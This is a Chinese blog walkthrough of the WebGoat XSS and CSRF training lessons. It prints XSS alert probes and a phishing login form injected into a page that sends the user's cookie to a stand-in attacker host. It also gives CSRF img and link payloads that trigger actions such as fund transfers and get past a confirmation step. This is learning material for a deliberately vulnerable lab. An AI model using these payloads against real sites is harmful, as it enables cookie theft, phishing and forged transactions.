欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

程序员文章站 2024-01-18 22:37:10
主要内容 保存,反射型Xss,CSRF及HttpOnly的特性 Phishing with XSS LAB: Cross Site Scripting Stage 1: Stored...
主要内容

保存,反射型Xss,CSRF及HttpOnly的特性

Phishing with XSS

LAB: Cross Site Scripting

Stage 1: Stored XSS.

Stage 2: Block Stored XSS using Input Validation

Stage 3: Stored XSS Revisited

Stage 4: Block Stored XSS using Output Encoding

Stage 5: Reflected XSS.

 

 

Stage 6: Block Reflected XSS.

Stored XSS Attacks.

 

 

Reflected XSS Attacks.

Cross Site Request Forgery (CSRF)

CSRF Prompt By-Pass.

CSRF Token By-Pass.

HTTPOnly Test

Cross Site Tracing (XST) Attacks.

 

Phishing with XSS

分析

如图所示,我们输入任何内容,点击“Search”后会显示在左下角,

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

查看左下角内容的HTML源码,看是否有需要闭合的标签

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

方法

很完美,无任何限制。。。

输入<script>alert('xss')</script>

或者钓鱼(为了排版我用回车截断了)

<div><br><br>拍拍网登录<form

action="http:\\www.hacker.com\getinfo?cookie="%2bdocument.cookie>

<table><tr><td>Login:</td><td><input type=text length=20 name=login>

</td></tr><tr><td>Password:</td><td>

<input type=text length=20 name=password></td></tr></table>

<input type=submit value=LOGIN></div>

结果如下图:

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

LAB: Cross Site Scripting

Stage 1: Stored XSS

这个案例需要执行一个保存型的XSS

分析

普通职员可以修改查看自己的资料,管理员可以查看普通职员的资料

1.在职员larry的个人资料中插入xss脚本

2.管理员在查看larry的个人资料时运行脚本中招~(这样就可以盗取管理员身份,或者利用管理员身份来干点其他事CSRF)

方法

1.登陆larry用户,修改用户资料,把Street修改为<script>alert('xss')</script>,

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

点击” UpdateProfile”之后立即弹出窗口,说明这个XSS是可行的~

然后退出Larry用户,登陆Moe查看Larry的信息,验证攻击是否成功~

Stage 2: Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 3: Stored XSS Revisited

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 4: Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stage 5: Reflected XSS

分析

当客户端发送什么,服务器就返回什么的时候,就会出现反射型XSS,比如搜索框

方法

登陆一个manager

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

在搜索框中输入 <script>alert('xss')</script>

Stage 6: Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Stored XSS Attacks

分析

保存型Xss是攻击者将Xss代码保存在服务器上,任何用户访问都会中招~

方法

输入以下数据:

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

Reflected XSS Attacks

上一节已经讲过了,这里还可以输入<script>alert('xss')</script>

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

Cross Site Request Forgery (CSRF)

分析

这个和XSS类似,不过XSS是骗取用户的信息,然后复制用户身份进行攻击

CSRF不用获得用户信息,在消息中插入,如果用户在看这封邮件的时候,正好登陆了paipai,又一不小心点击了下面这个链接,那么被害者就会执行攻击者发送的CGI命令xxcgi(可能是改价,删除商品等敏感操作)

<a href="http:\\www.paipai.com\xxcgi?xx=x;jj=j" target="_blank">点我你就中招了</a>

或者

<img src="http:\\www.paipai.com\xxcgi?xx=x;jj=j" />

前者需要用户点击,而后者用户看到这个帖子的时候就自动发送了请求~

CSRF Prompt By-Pass

分析

这个攻击需要两部,一次输入转账的数目,第二次确认,没有验证码的时代好危险。。。。

方法

<img src="?transferFunds=4000" />

<img src="?transferFunds=CONFIRM" />

CSRF Token By-Pass

。。。我倒,不知道怎么就过了

HTTPOnly Test

关于httponly:

If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.

大家可以看看httponly设置前后Js读取Cookie的情况

WebGoat笔记之四 --- Cross-Site Scripting (XSS)

Cross Site Tracing (XST) Attacks

老bug,忽略